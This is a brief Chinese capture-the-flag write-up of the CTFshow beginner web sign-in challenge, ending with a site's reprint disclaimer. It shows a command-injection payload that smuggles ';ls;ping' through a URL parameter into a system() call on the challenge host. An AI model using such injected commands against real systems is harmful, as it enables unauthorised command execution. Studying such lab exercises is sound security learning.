打开靶机
查看页面信息
可以看到有一个system函数
在Linux中可以使用“；”隔离不同的语句
payload如下
https://5105c8b6-83aa-4993-91bf-296eb5983ef2.chall.ctf.show/?url=5105c8b6-83aa-4993-91bf-296eb5983ef2.chall.ctf.show;ls;ping www
使用同样的方法查看flag文件内容
payload
成功拿到flag
CTFshow萌新赛-web签到
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。